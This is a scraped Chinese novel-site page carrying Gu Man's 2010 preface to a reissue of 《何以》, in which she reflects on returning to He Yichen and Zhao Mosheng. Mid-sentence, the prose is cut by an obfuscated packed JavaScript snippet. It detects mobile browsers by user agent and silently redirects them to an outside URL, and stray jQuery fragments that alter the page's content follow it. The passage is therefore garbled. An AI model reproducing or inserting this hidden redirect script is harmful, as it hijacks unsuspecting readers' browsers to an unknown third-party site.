默认冷灰
24号文字
方正启体

第1章 再序《何以》

作者:顾漫本书字数:K更新时间:
    我一直觉得自己不会再为《何以》写什么东西了。始终觉得,那时候的情绪不可复制,怕写出来会破坏曾经的感觉。或者又觉得,他们的幸福已经可以预见了,作者又何必画蛇添足。


    然而这次再版,大家要番外的呼声实在太高,于是我说,我试试吧。


    于是我又放任自己沉浸到《何以》中去。


    这实在是一件危险的事情,却又不可言喻的美妙。


    我又陷入了走着走着,就会想起何以琛和赵默笙的状况,各种他们的情景纷沓而来,甜蜜的,让人忍不住傻笑的,又或者忽尔伤感的。计划之外的情节越写越多,本来不想写到孩子的,写到了。本来只想写幸福的情节的,却会忽然写到过去,甚至把自己都搞哭了。


    在咖啡馆忍不住湿了眼睛的时候很不好意思,并不是因为服务员走过好奇地看了我两眼,而是觉得,都这么久了,我还会搞得这么投入,真是很难为情。


    明明说了再见,告别已久。明明我已经慢慢变老。


    却这么轻易地被他们俘虏了。


    我怎么会以为我再不会写出我心里的他们呢?


    他们是以琛和默笙啊,是我根植于心底的最固执的愿望所化,无论时光如何冲刷,都不会改变。无论多久的久别,都不会陌生。


    嗨,以琛,默笙,我们又遇见了。


    我还记得与他们初遇在人群熙攘的超市,就像在后记里写的那样,忽然就冒出那样一种感触攫住了我。也许早一步,晚一步,他们不是他们,我不是我,谁知道呢,缘分总是那么玄之又玄。


    我还记得那是大三的暑假,我在我的老台式机上,一遍遍的写着他们的重逢,写了十几遍,终于我满


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15651734|172808||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    意了,他们也满意了。


    我还记得我在学校的机房排队,等不及了,就拿出白纸先把情节记下来,生怕灵感转瞬即逝。


    我还记得上课的时候他们也不安分,不断地在我脑袋里自行演绎着,让我不得不当个不专心的学生,一遍遍在笔记本上写着他们的名字,才能得到抒发后的平静。


    一时间有些恍然。


    好像是眨眼间,却已经很远了。


    时间真是世间最残酷又最美好的东西。


    从写这篇文开始,到现在,已经过去了七年,已经和以琛和默笙分开的时间一样漫长了。


    嗨,以琛默笙,又见面了。


    不过又要再一次告别。


    但是我想,走着走着,在熙攘人群中,我们一定会再一次遇见。


    顾漫


    2010年11月
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)